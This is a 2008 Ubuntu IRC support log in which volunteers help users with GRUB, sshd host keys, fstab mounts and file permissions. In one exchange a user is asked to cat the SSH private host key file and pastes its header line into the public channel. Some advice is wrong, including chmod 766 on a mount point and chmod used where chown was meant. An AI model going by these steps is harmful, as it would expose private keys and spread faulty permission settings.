[05:40] <Kurt> rm usually sends things to /dev/null, and yes it's pretty hard to get things back from there :0
[05:40] <Chaplin2> nix
[05:40] <baiano> #brasil
[05:40] <Chaplin2> would i just run the windows installation to repartion drive?
[05:40] <bobertdos> ASrock: Well, you can reinstall grub via an Ubuntu LiveCD if you want. You could also add an entry for Ubuntu into Fedora's menu.lst OR chainload Fedora's grub.
[05:40] <baiano> #salvador
[05:40] <AAA> powertool08  what does this return? $> file /etc/ssh/ssh_host_rsa_key
[05:41] <prince_jammys> baiano: /join #ubuntu-br
[05:41] <Kurt> I don't think windows comes with a partition editor
[05:41] <celia_tux> in 'grep lala /home/file' grep also search for lal  or la, what can i do to just search for 'lala'????
[05:41] <powertool08> AAA: /etc/ssh/ssh_host_rsa_key: writable, regular file, no read permission
[05:41] <ASrock> bobertdos: i tried installing grub from the live cd and that didnt work it said it couldnt mount the partition, how do i add entries to grub?
[05:42] <powertool08> AAA: run with sudo: ASCII text
[05:42] <djhash> rredd4: by default it'll install in sda, but just at the end of the questions and partition questions.. there is an advanced button
[05:42] <prince_jammys> celia_tux: it's the other way around. grep 'la' will match 'lala', but grep 'lala' won't necessarily match 'la'
[05:42] <djhash> ASrock: /boot/grub/menu.lst
[05:42] <celia_tux> oppps yes sorry
[05:43] <rredd4> djhash  its installing software now, past partition stuff...
[05:43] <bobertdos> ASrock:: One way or another, you are going to need to know which partition (according to Grub) Ubuntu is sitting on.
[05:43] <prince_jammys> celia_tux: try grep -wq ....
[05:43] <celia_tux> ok
[05:43] <celia_tux> thanks prince
[05:43] <rredd4> djhash  too late?
[05:43] <djhash> rredd4: it'll do the grub automatically
[05:43] <Kurt> celia_tux: I think the -q will cause the if statement to always return false
[05:43] <rredd4> djhash  ok
[05:43] <prince_jammys> celia_tux: that will match lala as a 'word' (see man grep for what grep thinks a word is)
[05:44] <djhash> rredd4: its not the end of the world though.. :-)
[05:44] <rredd4> djhash  really..... lol
[05:44] <AAA> powertool08  if you cat the rsa and dsa do they look like private keys? (dsa should be shorter than rsa)
[05:45] <AAA> powertool08  Bind to port 22 on 0.0.0.0 failed: Address already in use.
[05:45] <AAA> powertool08  that is why I wanted the netsat output =p
[05:46] <powertool08> AAA: $ sudo cat /etc/ssh/ssh_host_rsa_key
[05:46] <powertool08> -----BEGIN RSA PRIVATE KEY-----
[05:46] <AAA> powertool08  you are already running sshd
[05:46] <cilkay> Chaplin2: Before resizing, read this: http://article.gmane.org/gmane.org.user-groups.linux.tolug/40948/match=thinkpad+tablet
[05:46] <powertool08> AAA: it didn't give me any results with the netstat
[05:46] <ASrock> well i didnt really have anything of importance on my ubuntu installation if i reinstall ubuntu will that overwrite my fedora boot loader?
[05:46] <Kurt> Nevermind, no it doesn't :)
[05:46] <AAA> powertool08  $> ps auxww | grep ssh
[05:46] <powertool08> AAA: I'll look for more instances and kill them
[05:46] <cilkay> Chaplin2: It doesn't matter that the machine in question is a ThinkPad. The issue is Vista.
[05:46] <_Tom> Vista -1
[05:46] <AAA> powertool08  netstat -l
[05:47] <bobertdos> ASrock: I would guess so, but I'm not a hundred percent sure on that.
[05:48] <djacidjac> does anybody know why Evolution won't import .vcf files?
[05:48] <bobertdos> ASrock:: Of course, if you completely reformat, yes it will.
[05:48] <bobertdos> ASrock: Assuming Grub isn't actually on the MBR.
[05:49] <seaninseattle> Hello all.
[05:49] <powertool08> AAA: ok, got them all
[05:49] <Fused> http://gpaste.com/p/065f0
[05:49] <Fused> lol..
[05:49] <Fused> My friend made that up.
[05:49] <ASrock> idk, i kinda like fedora, i will just let it go for a few days and see what i think then i might just put fedora on the main drive instead
[05:49] <AAA> powertool08  now I'm thinking it will work for you :)
[05:50] <VanessaE> How do I fully and completely restore all of the default configs regarding cups?
[05:50] <AAA> powertool08  that is why restart is best. /etc/init.d/sshd restart
[05:50] <bobertdos> seaninseattle: May we help you?
[05:51] <seaninseattle> So, I've got an unusual problem.  Major cool points goes to anyone who can assist me in resolving it.  Six instances of nm-applet run each time I log into Ubuntu my laptop.
[05:51] <arooni-mobile> i'm getting an error on my t61 (running with intel hda)... error is: "Error while opening sound device. Please check the output device settings and the project sample rate." even though there are no other audio programs open :(( how do i fix?
[05:51] <seaninseattle> bobertdos:  there's my question.  I was trying to phrase it well.  sorry for the delay.
[05:51] <bombshelter13> Can I have gnome but have gvfs turned off?
[05:51] <bombshelter13> I don' really use it, and occasionally it interferes...
[05:52] <seaninseattle> I just don't know how to get rid of them, and what files I can check.
[05:52] <dfgas> alright i want to install 64bit ubuntu on a different hard drive, however i want to still have access to 32bit, will grub see the 32bit and put it in the menu or no?
[05:53] <Chaplin2> ok just installed
[05:53] <bdizzle> hi, is there a program similar to character map on ubuntu or kubuntu?
[05:53] <powertool08> AAA: starting in debug mode it still said address in use :/
[05:53] <Chaplin2> it says "new restricted drivers in use"
[05:53] <bobertdos> seaninseattle: and it doesn't matter whether you're logging in or booting?
[05:53] <AAA> powertool08  hrm. is localhost up? ifconfig l0
[05:54] <powertool08> AAA: yes
[05:54] <AAA> powertool08  er lo....
[05:54] <seaninseattle> bobertdos:  well, I only see them when I boot into ubuntu and log in (because I dual boot xp and ubuntu)
[05:54] <bobertdos> bdizzle: Ubuntu has a character map preinstalled.
[05:55] <prince_jammys> bdizzle: yes, both ubuntu and kubuntu have character map apps. in gnome, i think it's gucharmap
[05:55] <bobertdos> seaninseattle: Have you looked at the processes list to see if six instances are actually there?
[05:55] <AAA> powertool08  and netstat -l | grep 22 shows nothing??? serious?
[05:55] <seaninseattle> yes, that's how I know what PIDs to kill.  :)
[05:55] <seaninseattle> Sorry.  [bobertdos]: yes, that's how I know what PIDs to kill.  :)
[05:56] <powertool08> AAA: unix  2      [ ACC ]     STREAM     LISTENING     5213223  /var/run/cups/cups.sock
[05:56] <powertool08> AAA: unix  2      [ ACC ]     STREAM     LISTENING     5728352  /tmp/.ICE-unix/dcop30182-1220568133
[05:56] <seaninseattle> How to send a private / direct msg on IRC?
[05:56] <AAA> ahtmly2k  cups? haha
[05:56] <bobertdos> seaninseattle: interesting
[05:57] <AAA> powertool08  but that ain't the problem. this seems fishy
[05:57] <prince_jammys> seaninseattle: /msg whoever some message (or /query)
[05:57] <powertool08> AAA: why is cups on port 22?
[05:57] <poorUbuntuUser> hi I am having a very anoying error related to SQUASHFS on start up,  I have 2 copy of ubuntu 8.4, one i spend some money and other one i downloaded and burned, none of them worked.. still, i get the same SQUASHFS error, does anyone know how to make my ubuntu boot?
[05:57] <AAA> powertool08  it's not. grep 22 matched  LISTENING     5213223
[05:57] <bobertdos> seaninseattle: It's listed under Startup programs just once, I hope......? (System->Preferences->Sessions->Startup Porgrams)
[05:57] <powertool08> AAA: oh
[05:58] <Chaplin2> what is the shortcut for the console?
[05:58] <abchirk> hm anyone knows a program with a gui to convert from .flv into .avi or else?
[05:58] <Kurt> poorUbuntuUser: What's the error message say?
[05:58] <AAA> powertool08  start sshd in debug mode now that you have all process's stopped.  we are missing something rudimentary
[05:59] <AAA> powertool08  is DNS setup properly on this box?
[05:59] <powertool08> AAA: ok, I can't get debug mode with /etc/init.d/ssh start, i've been using /usr/sbin/sshd -ddd
[05:59] <poorUbuntuUser> many many erros like this --> SQUASHFS error: sb_bread failed reading block 0x9d7f3
[05:59] <powertool08> AAA: as far as I know it is... I can browse without issues
[06:00] <Twister10130> anyone here?
[06:00] <poorUbuntuUser> kurt many errors like this -> SQUASHFS error: sb_bread failed reading block 0x9d7f3
[06:00] <annie_g> Hi - Does anyone know if Hardy Heron can be installed on a Asus eee PC901 ? ? ?
[06:01] <Twister10130> hey does anyone know anything about grub?
[06:01] <AAA> powertool08  hrm... what happens when you ssh -vvv localhost ?
[06:01] <bofh80> annie_g, i believe you'll want to look for the ubuntu remix edition. but the basic answer is yes
[06:01] <subby> how do i tell what Ubuntu version i am running
[06:01] <prince_jammys> subby: lsb_release -a
[06:01] <Twister10130> anyone know how to diagnose error 17 in grub?
[06:01] <subby> sweet. cheers
[06:02] <powertool08> AAA: sshd -ddd --> http://paste.ubuntu.com/43549/
[06:02] <bofh80> annie_g, https://help.ubuntu.com/community/EeePC           http://www.ubuntu-eee.com/index.php5?title=Main_Page
[06:02] <Chaplin2> how do i enable wireless?
[06:03] <annie_g> bofh80: Sounds good! do you have a friend or know someone who actually did this - or have you read this through google searches, etc ? ? ?
[06:04] <jiang> does any one know how to add an icon on the right hand corner showing the date?
[06:04] <bobertdos> Chaplin2: What adapter do you have?
[06:04] <bofh80> annie_g, i've been looking into it recently. as i said, i don't follow these, i am waiting to get my hands on the ubuntu remix edition . . .1 sec
[06:04] <powertool08> http://paste.ubuntu.com/43550/
[06:04] <powertool08> AAA: http://paste.ubuntu.com/43550/
[06:04] <AAA> powertool08  lemme look. I'm about ready for bed tonight...
[06:04] <annie_g> bofh80: ok -
[06:04] <Kurt> poorUbuntuUser: Does it look like https://bugs.launchpad.net/ubuntu/+bug/172937 ?
[06:05] <bofh80> annie_g, http://www.canonical.com/netbooks
[06:05] <AAA> powertool08  debug2: key_type_from_name: unknown key type '-----BEGIN'
[06:05] <AAA> powertool08  debug3: key_read: missing whitespace :: you hosed something new :)
[06:05] <Kurt> poorUbuntuUser: That seems to be a rather bad bug...the bottom comment suggests it is fixable by extending the block size using mksquashfs
[06:06] <AAA> powertool08  I'm starting to think your ssh keys or filesystem is smoking crack
[06:07] <seaninseattle> So, here's a better question for all you not-so-noobs:  What are the different places that a program could have been executed along the way from Boot (Grub) > GDM Login > Gnome Window Mgr Session?
[06:07] <powertool08> AAA: I'm not sure what I did... I decided I wanted to change all my keys, so I deleted all the host keys in /etc/ssh/ then I deleted all the user keys in /home/user/.ssh/ generated new ones with the commands I gave you at the start and then when I started the server it rejected the keys
[06:07] <pharoahsnation> hello
[06:07] <annie_g> bofh80: umm this looks very interesting - might be above me with the coding at this point - but getting better with using Terminal......
[06:07] <poorUbuntuUser> Kurt but how can i do that?
[06:07] <Flannel> !startup | seaninseattle
[06:07] <Flannel> !bum | seaninseattle
[06:08] <powertool08> AAA: I haven't made new user keys but I figured after the server with host keys was running again then I'd get users connected
[06:08] <tag> Is there any way I can give a user two uids? :-)
[06:08] <Flannel> tag: why do you want to do that?
[06:08] <Kurt> poorUbuntuUser: without being able to boot into a linux distribution? no idea :\
[06:08] <tag> Flannel: sshfs and conflicting uids between systems
[06:09] <Kurt> poorUbuntuUser: it's apparently an upstream bug and not Ubuntu-specific
[06:09] <tag> my account on my server has the uid of a defunct account here, I don't feel like changing my uid at either location because it'd be a big permissions mess
[06:09] <Flannel> tag: Ah.  Unfortunately not that I'm aware of.  Supposed to just keep UIDs the same ;)
[06:09] <tag> indeed
[06:09] <AAA> powertool08  you may consider doing something like $> dpkg-reconfigure ssh-server (or similar) I think your config is kinda hosed ;)
[06:09] <Flannel> tag: there may be another way, I don't know of it though.
[06:09] <poorUbuntuUser> Kurt i have the original ubuntu 8.04 , how isnt that ubuntu related?
[06:09] <annie_g> bofh80: You know if there is a way to load Hardy Heron to a SD card and boot to it and run?
[06:09] <powertool08> AAA: ya that would probably be easiest...
[06:10] <Kurt> poorUbuntuUser: I mean, it is a problem with squashfs in general, both on Ubuntu and other Linux distributions
[06:10] <powertool08> AAA: Thanks for you help
[06:10] <kindofabuzz> with rw,users,exec i should have all access to a drive right?
[06:11] <nnull> anyone tell me why firestarter FAILs on the boot sequence? says stopping firestarter done. starting firestarter fail... then fails again later
[06:11] <poorUbuntuUser> Kurt will i be stucked on windows xp forever?
[06:11] <AAA> kindofabuzz  nope
[06:11] <AAA> kindofabuzz  a drive does not equal a filesystem
[06:11] <seaninseattle> Anyone know how to use cat and grep to recursively search through text files for a particular string?
[06:11] <kindofabuzz> AAA, what else do i need?
[06:11] <AAA> powertool08  good luck!
[06:12] <prince_jammys> seaninseattle: grep -r pattern directoryname
[06:12] <sekyourbox> Does anyone use freenode hidden services here?
[06:12] <AAA> kindofabuzz  what do you want to do? do you have the bios password? the drive encryption password? and the root password? what esle do you need?
[06:13] <Kurt> poorUbuntuUser: I'm checking on the developer's website for it to see if it's a known issue (if not I'll report it for you)
[06:13] <sekyourbox> PASSWORD=SWORDFISH
[06:13] <kindofabuzz> AAA, i want to be able to rw and create folders on the drive, i have it mounted to ~/stuff
[06:13] <AAA> seaninseattle  are the particular files with simailar names you want to look at? that would make it easier and less disk intensive
[06:13] <Flannel> sekyourbox: That's not really on topic for this channel
[06:14] <sekyourbox> I know but #freenode doesnt help
[06:14] <AAA> kindofabuzz  ok then if you have $USERNAME set as the rw in rw-XX-XX you are set
[06:14] <tag> Flannel: luckily I can use sshfs -ouid=$UID
[06:14] <sekyourbox> They dont know how to use it and the webpage has hazy instructions
[06:14] <Flannel> sekyourbox: That doesn't make it ok to ask here.  There are a number of other channels, like #ubuntu-offtopic
[06:14] <kindofabuzz> AAA, this is a drive
[06:16] <AAA> kindofabuzz  edit /etc/fstab to relect the proper permission . if it is already mounted do $> ls -l /mount/point and let us know where it is mounted
[06:16] <seaninseattle> prince_jammys:  Thanks for your help.  I really appreciate it.  Take Care!
[06:16] <AAA> kindofabuzz  sorry, the permissions of the diretory, not "where its mounted"
[06:16] <kindofabuzz> AAA, so what do i need other than rw,users,exec? i figure users would covor my user name
[06:17] <poorUbuntuUser> Kurt can u tell me what is the website url?
[06:17] <kindofabuzz> AAA, oh so i need to change the permissions of where it is in /dev?
[06:17] <AAA> kindofabuzz  that is fine if you are the only one useing it. but if other want to use it you'll need to edit the _group_ perms
[06:18] <prince_jammys> poorUbuntuUser: do you want the url for basic ssh setup in ubuntu?
[06:18] <Kurt> poorUbuntuUser: http://squashfs.sourceforge.net/
[06:18] <prince_jammys> oh, ok.
[06:18] <kindofabuzz> AAA, why does rw,users,exec not work?
[06:18] <mespejel> anyone know if google chrome is coming for linux?
[06:18] <Kurt> mespejel: yes, eventually
[06:18] <kindofabuzz> mespejel, if you'd actually read about chrome you'd know your answer. yes
[06:19] <tanath> i've installed music-applet, but i can't find it in the add to panel thing. any suggestions?
[06:19] <AAA> kindofabuzz  look in the output of $> mount  then do ls -l /mount/point/you/found and then chown user.group /mount/point/you/just/found (user.group being the user and group...) and make sure it is set 744 (exec gets set on the file level normally)
[06:20] <AAA> er kindofabuzz 766
[06:20] <Kurt> it'll be quite a while before chrome's available in linux though
[06:20] <tanath> it works fairly well in wine
[06:20] <Kurt> true, I mean natively
[06:20] <tanath> i didn't get flash working though
[06:21] <AAA> 1 = exec ; 2 = write ; 4 = read
[06:21] <mespejel> "There is no [emphasis in original] working Chromium-based browser on Linux," says the build documentation, in red type within a bordered box, no less.
[06:21] <Kurt> there ya go ;) but it's a stated intent to release a linux version (eventually)
[06:22] <tanath> they were forced to release early 'cause it was leaked
[06:22] <kindofabuzz> AAA, but if the mount is in ~ already shouldn't i have access?
[06:22] <LSD|Ninja> mespejel: the code is there, there's just no UI to bundle it all up on anything but Windows right now
[06:23] <zynergi> you know
[06:23] <kindofabuzz> AAA, ok i got it, thanks
[06:23] <AAA> kindofabuzz  prolly not cause you mounted it as root. check ls -l ~/mount (or whatever0
[06:23] <zynergi> i've never understood why its cheaper to rent a dedicated server w/ more bw than it is to colocate your OWN with less bw
[06:23] <blackdream> has anyone heard of 'unmass' it's an 3d model extractor for video games
[06:24] <tanath> i've installed music-applet, but i can't find it in the add to panel thing. am i doing it wrong? :P
[06:24] <masteredu> morning
[06:24] <AAA> kindofabuzz  you'll have to umount /path ; mount /dev/foo /path for the perms to take affect
[06:25] <kindofabuzz> AAA, i just did sudo chmod 766 ~/stuff
[06:25] <dade`> shouldn't there be ubuntu intrepid alpha 5 out ?
[06:26] <tanath> zynergi, bulk-buying & such = discounts?
[06:26] <prince_jammys> tanath: i don't know, but the description says it's a gnome-panel applet, so i assume it should be there. check if it has a man page.
[06:26] <AAA> kindofabuzz  that will only change ~/stuff and not ~/stuff/morestuff
[06:26] <kindofabuzz> ahh
[06:26] <tanath> prince_jammys, nope
[06:26] <kindofabuzz> chmod -R?
[06:26] <AAA> kindofabuzz  man chmod :)
[06:26] <prince_jammys> tanath: you installed it through apt?
[06:27] <tanath> prince_jammys, aptitude, yes
[06:27] <Pie-rate> iphone is pissing me off, there's no way at all to sync with it from linux and there's no way to run itunes well
[06:27] <Fused> Eww...
[06:27] <Fused> There's a slug in the house.
[06:27] <prince_jammys> tanath: sorry, i don't know. just threw out the man page suggestion, since some do have them.
[06:27] <Fused> rofl.
[06:28] <kindofabuzz> AAA, now it seems like sdb1 isn't even associtaed with ~/stuff now
[06:28] <kindofabuzz> empty
[06:28] <tanath> prince_jammys, you'd think it would. package seems useless :-/
[06:28] <AAA> kindofabuzz  well, did you umount it?
[06:28] <tanath> anyone know of a decent gnome-panel applet to control media players/
[06:28] <kindofabuzz> AAA, yeah tehn i ran sudo mount -a
[06:29] <AAA> kindofabuzz  is it in your /etc/fstab?
[06:29] <kindofabuzz> AAA, yes
[06:29] <AAA> kindofabuzz  with what perms =p
[06:29] <prince_jammys> tanath: if you're desperate, try dpkg -L music-applet. that'll show the files that were installed. perhaps it put some documentation in /usr/share/doc
[06:30] <AAA> kindofabuzz  you chmod ~stuff NOT /dev/sdb1 ;)
[06:30] <kindofabuzz> AAA, /dev/sdb1 /home/jason/stuff      ext3    rw,users,exec        0       2
[06:30] <prince_jammys> tanath: some kind of manual of FAQ
[06:30] <tanath> prince_jammys, i already did actually, but didn't think to look at that :-/
[06:30] <AAA> kindofabuzz  you did it while mounted, is it still the same perms?
[06:30] <kindofabuzz> AAA, yes
[06:31] <AAA> kindofabuzz  do $> mount /home/jason/stuff
[06:31] <AAA> kindofabuzz  and then $> ls -ls /home/jason/stuff
[06:31] <tanath> prince_jammys, bah, just a little useless readme, with supported players
[06:31] <AAA> kindofabuzz  d0h, ls -ld
[06:31] <prince_jammys> tanath: i predict this applet won't be installed for long ;)
[06:32] <tanath> prince_jammys, lol
[06:32] <kindofabuzz> AAA, hmm i try to cd to it and i get permission denied
[06:32] <nnull> anyone tell me why firestarter FAILs on the boot sequence? says stopping firestarter done. starting firestarter fail... then fails again later
[06:32] <ahtmly2k> sudo apt-get install flash
[06:32] <tanath> prince_jammys, i might leave it and check again after it updates
[06:32] <AAA> kindofabuzz  $> ls -ld /home/jason/stuff :: and paste the relevant output
[06:33] <mespejel> i found this for everyone who want to give a try to google chrome
[06:33] <mespejel> http://ubuntuforums.org/showpost.php?p=5719331&postcount=45
[06:33] <kindofabuzz> AAA, drwxrw-rw- 12 root root 4096 2008-08-31 19:00 /home/jason/stuff
[06:33] <kindofabuzz> owned by root now
[06:33] <mespejel> i will try it right now, i hope it works
[06:33] <tanath> mespejel, does it say how to get flash working?
[06:33] <AAA> kindofabuzz  yes, I see that ; $> umount /home/jason/stuff
[06:33] <ahtmly2k> how can i update my flash codec in terminal?
[06:33] <ahtmly2k> i cant watch metacafe.com
[06:34] <kindofabuzz> AAA, ok dismounted
[06:34] <AAA> kindofabuzz  ls -ld /home/jason/stuff and make sure it is proper
[06:34] <ahtmly2k>  how can i update my flash codec in terminal?  i cant watch metacafe.com
[06:34] <kindofabuzz> AAA, ok jason now
[06:34] <tanath> ahtmly2k, sudo aptitude install flashplugin (or flashplugin-nonfree)
[06:34] <kindofabuzz> drwxr-xr-x 2 jason jason 4096 2008-08-21 21:52 /home/jason/stuff
[06:35] <tanath> ahtmly2k, run sudo aptitude update, to make sure package info is up-to-date
[06:35] <AAA> kindofabuzz  $> fdisk -l /dev/sdb1 :: it shows a linux filesystem, right?
[06:36] <kindofabuzz> AAA, Cannot open /dev/sdb1
[06:36] <kindofabuzz> sudo?
[06:36] <tanath> nnull, firestarter is terrible. if you can deal without a GUI, try arno-iptables-firewall
[06:36] <AAA> kindofabuzz  that is cause I'm drunk.. fdisk -l /dev/sdb
[06:37] <kindofabuzz> AAA, same, should i sudo it?
[06:37] <Chaplin2> ok problem
[06:37] <Kurt> *walks back in late* kindofbuzz I assume you've tried sudo mount /dev/sdb1 /some/other/place ?
[06:37] <Chaplin2> ii only have one hd
[06:37] <nnull> tanath, pretty sure it comes installed with hardy :< had nothing ut trouble with it
[06:37] <Chaplin2> i iunstal;led ubuntu on to that partioin
[06:37] <nnull> but*
[06:37] <Chaplin2> installed
[06:37] <Chaplin2> now i want to start fresh
[06:37] <Chaplin2> and wipw the whole drive
[06:37] <kindofabuzz> Kurt, not yet, i had it mounted, just could'nt make folders
[06:37] <Chaplin2> so i can isntlal vista fresh
[06:37] <Chaplin2> how do i do that?
[06:37] <Chaplin2> i screwed up
[06:37] <tanath> nnull, did it? i wouldn't know, i used ubuntu-minimal to get rid of things i didn't want
[06:37] <kindofabuzz> AAA, yes linux system
[06:38] <Chaplin2> and made my vista partioitn 30gb only
[06:38] <nnull> i need to know how to like reset ip tables to how they were when i got linux
[06:38] <bcl> I seem to have a problem :) Tried upgrading from 6.06LTS to 8.04LTS using the GUI upgrade tool. It appears to have hung while setting up ivman
[06:38] <amerinese> if i'm running ubuntu desktop right now, can someone tell me how i can go into console mode temporarily (i.e. not be running x server)?
[06:38] <AAA> kindofabuzz  are you trying to mount this drive as your normal user? do this. $> sudo mount | grep stuff  :: if it ain't listed do $> sudo mount /dev/sdb1 /home/jason/stuff ; dmesg | tail -n13
[06:38] <salmon> 'v had ubuntu for almost half a year now and the funny thing is today was the first time i tried to play a dvd, it don't work. trying to play it in totem, when i try to play a dvd the program locks up and i have to force quit. what should i do?
[06:39] <prince_jammys> salmon: did you install the necessary libraries?
[06:39] <bcl> salmon: have you installed the non-free DVD support?
[06:39] <tanath> nnull, you can try 'sudo ubuntu-firewall stop'
[06:39] <kindofabuzz> AAA, yes as a user, now with it mounted i get permission denied
[06:40] <tanath> nnull, i think the default just allows everything
[06:40] <salmon> i would have to say no on the support but thank you both
[06:40] <bcl> salmon: https://help.ubuntu.com/community/RestrictedFormats
[06:40] <nnull> dont think so tanath
[06:40] <amerinese> what i'm looking for is probably the equivalent of rebooting windows in safe mode with command prompt only
[06:40] <amerinese> not sure what that's called in ubuntu
[06:40] <tanath> nnull, try 'sudo ubuntu-firewall restart'
[06:40] <prince_jammys> !medibuntu | salmon: you have to add the medibuntu repository:
[06:41] <bcl> amerinese: ctrl-alt-f1
[06:41] <Kurt> kindofbuzz, are you in the fuse group?
[06:41] <alexk0> i'm writing a test script for a program that takes console input, and i'd like to redirect both the input AND the output to a file. the input is echoed to the terminal but isn't actually contained in the output stream. is there a way to combine them?
[06:41] <tanath> bcl, not the same, and that doesn't tell him how to get back
[06:41] <bcl> amerinese: alt-f7 to return to X
[06:41] <kindofabuzz> Kurt, no idea what that is
[06:41] <tanath> ...there we go
[06:41] <clarence_> The Ubuntu I have not been able to show the success of Ubuntu effects
[06:42] <tanath> amerinese, ctrl+alt+f7 though
[06:42] <kindofabuzz> Kurt, it was working until i came in here just wanting to create folders on it lol
[06:42] <prince_jammys> alexk0: ask in the irc channel of your script's language
[06:42] <AAA> kindofabuzz  well, I'm not sure what is going on. I do know this, you should not be mounting drives in your homedir. you should be using /media or /mnt creating the mointpoints as with the appropriate group permisions.  I really think your problem is that you are trying to mount a /dev in your homedir and your OS don't like it
[06:42] <kindofabuzz> AAA, it was working! lol
[06:42] <djhash> amerinese: what you want is basically single user mode.. you can choose it in grub.
[06:43] <Kurt> try going to System > Administration > Users and Groups and adding yourself to the fuse group
[06:43] <kindofabuzz> me?
[06:43] <AAA> kindofabuzz  you still shouldn't be mounting devices in your homedir!!
[06:43] <kindofabuzz> AAA, why not?
[06:43] <alexk0> prince_jammys: it's just a shell script, and i think it has more to do with input/output streams than the shell
[06:43] <bcl> AAA you can mount anywhere.
[06:43] <prince_jammys> alexk0: how are you reading the input?
[06:44] <AAA> kindofabuzz  because it is very nonstanard and stuff you can't think of now will break one day because of it, ,trust me ;)
[06:44] <bcl> they just won't get 'managed', you'll have to manually umount them.
[06:44] <AAA> bcl  yup
[06:44] <alexk0> prince_jammys: the program being tested is a Java program, it gets its input from standard input
[06:44] <kindofabuzz> AAA, so just mountin a hd i use just for storage in a home dir will break?
[06:44] <AAA> bcl  mount /dev/sdb1 /tmp works, but you prolly don't wanna do it ;)
[06:45] <kindofabuzz> evidently it will, was working until you had me chowning and chmodinging lol
[06:45] <AAA> kindofabuzz  not necessarily, it is just a poor practice
[06:45] <bcl> AAA: It depends on what you are trying to do, in that case you'll lose the X sockets at the least.
[06:45] <kindofabuzz> AAA, ok help me fix this then please
[06:45] <geekk> newbie: Can anyone here help with PC to TV(lcd42") vga to vga
[06:46] <AAA> bcl  just saying, there is a structure for reasons
[06:46] <bcl> anyone with a clue to my upgrade trouble? hanging at setting up ivman?
[06:46] <kindofabuzz> anywasy
[06:46] <djhash> !anyone | geekk
[06:47] <AAA> kindofabuzz  no, it was not working :)
[06:47] <kindofabuzz> AAA, it was working, alot better than it is now! now i get nothing lol
[06:47] <kindofabuzz> i can't even cd to it
[06:48] <bcl> kindofabuzz: what are you trying to do?
[06:48] <kindofabuzz> well i was just trying to make it to where i can create folders in a drive i have mounted
[06:48] <AAA> kindofabuzz  then $> mkdir -p /mnt/stuff ; mount /dev/sdb1 /mnt/stuff
[06:48] <clarence_> 	
[06:48] <clarence_> How can we have all the Ubuntu set of special effects
[06:48] <kindofabuzz> but now i can't even see the stuff in the drive
[06:48] <clarence_> How can we have all the Ubuntu set of special effects
[06:48] <amerinese> so ctrl+alt+f1 is a really neat trick, only thing is, how can i go into console mode but no longer be running x-server?
[06:48] <Flannel> amerinese: once there, sudo /etc/init.d/gdm tsop
[06:49] <Flannel> amerinese: er, stop.
[06:49] <bcl> kindofabuzz: is it still mounted? check output of mount
[06:49] <bcl> amerinese: init 3
[06:49] <amerinese> flannel: ok, thanks a bunch
[06:49] <AAA> amerinese  /etc/init.d/gdm stop
[06:49] <djhash> amerinese: in grub choose "single"
[06:49] <bcl> that will restart init without X
[06:49] <powertool08> AAA: I suppose I found my problem
[06:49] <djhash> amerinese: you want the single user mode..
[06:49] <AAA> powertool08  yeah?
[06:49] <amerinese> cool, thanks guys
[06:49] <kindofabuzz> ok just mounted it to /mnt/stuff, permission denied when cd'n into it
[06:49] <Flannel> clarence_: What do you mean?
[06:49] <Flannel> single user mode is *not* the same as "just without X"
[06:50] <powertool08> AAA: Well some more googling turned up an email from somebody with the same problem
[06:50] <rogerroger> init 1 != init 3
[06:50] <powertool08> AAA: The host keys should be generated _without_ a passphrase, because
[06:50] <powertool08> otherwise sshd can't load them.
[06:50] <AAA> kindofabuzz  you have to chmod /mnt/stuff to the same group your user is in before you mount it
[06:50] <clarence_> Who wanna talk to me?
[06:50] <djhash> Flannel: his first question was about getting something like in windows, safe mode with command prompt only.. that is single user mode..
[06:50] <Kurt> kindofbuzz, have you tried changing ownership to yourself?
[06:51] <Flannel> rogerroger: Ubuntu runlevels 2-5 are the same.
[06:51] <kindofabuzz> Kurt, you know you can use tab to autocomplete so you get my name right and so i see it =)
[06:51] <powertool08> AAA: makes sense I suppose, but I'm alittle bit password crazy
[06:51] <bcl> amerinese: actually on ubuntu I'm not sure if 3 is right, their inittab defaults to 2 so you many not be able to do that.
[06:51] <AAA> powertool08  I have created many ssh keys for sshd without a passphrase, it does work.
[06:51] <kindofabuzz> AAA, so sudo chmod -R jason:jason /mnt/stuff
[06:51] <Kurt> haha sorry
[06:51] <kindofabuzz> ?
[06:51] <powertool08> AAA: Ya but I was trying to create the host key with a passphrase
[06:51] <AAA> powertool08 /dev/urandum and entropy FTW!
[06:52] <Flannel> clarence_: This channel is not for chatting.  #ubuntu-offtopic is the place to go to chat.
[06:52] <amerinese> bcl: thanks for the heads up, if there's the option in grub i can select it manually or otherwise i will just stop gdm
[06:52] <djhash> !tw | clarence_
[06:52] <AAA> kindofabuzz  no! chmod acts on files, you want chown!
[06:52] <bcl> kindofabuzz: that recursivly changed ownership of all the files on the drive, which may not be what you wanted.
[06:52] <kindofabuzz> damnit, so what do i do? lol
[06:53] <Kurt> sudo chown <your username> /directory
[06:53] <bcl> amerinese: /etc/inittab is what controls which init level. id:2:initdefault:
[06:53] <bcl> kindofabuzz: is the drive empty? is it mounted?
[06:53] <Flannel> bcl: Only on dapper
[06:54] <djhash> bcl: why confuse the person more.. a simple question only deserves a simple answer.. safe mode command prompt only == single user mode..
[06:54] <kindofabuzz> bcl, there we go, i just had to rechown it
[06:54] <clarence_> I found that I simply open the xchat will automatically connect to this channel
[06:54] <tanath> anyone know a decent gnome applet to control media players?
[06:54] <AAA> kindofabuzz  chown and chmod are totally differetn, you are using them interchangably it seems
[06:54] <tanath> music-applet appears nonfunctional
[06:54] <bcl> djhash: because they many not know all the options.
[06:54] <djhash> clarence_: yes.. it is setup by default like that in ubuntu.
[06:54] <bcl> single user isn't really safe anyway :)
[06:55] <kindofabuzz> AAA, well i just did chown jason /mnt/stuff and all seems well
[06:55] <kindofabuzz> why didn't you just say that in the first place? lol
[06:55] <AAA> kindofabuzz  you get what you pay for! ;)
[06:56] <kindofabuzz> now i should have rw,users,exec in fstab correct? and all should be ok?
[06:56] <AAA> kindofabuzz  I sure didn't do it on purpose =p
[06:56] <clarence_> I did not want to chat, I just want to ask questions only
[06:56] <Kurt> kindofabuzz: that's a hack...you shouldn't have to do that
[06:56] <AAA> kindofabuzz  yah
[06:56] <kindofabuzz> well i had mount rw,users,exec in the first place but couldn't create files or folders
[06:56] <Losowski> Hi
[06:57] <Kurt> normally when you mount devices, they are still owned by root (just with permissions given for normal users)
[06:57] <kindofabuzz> oh maybe because ~/stuff was owned by root even though it was in ~?  but that was my original question. should't have rw,users,exec "overridden" that?
[06:57] <AAA> kindofabuzz  I dunno, that looks right to me I dont have anything to sanity check it against tho
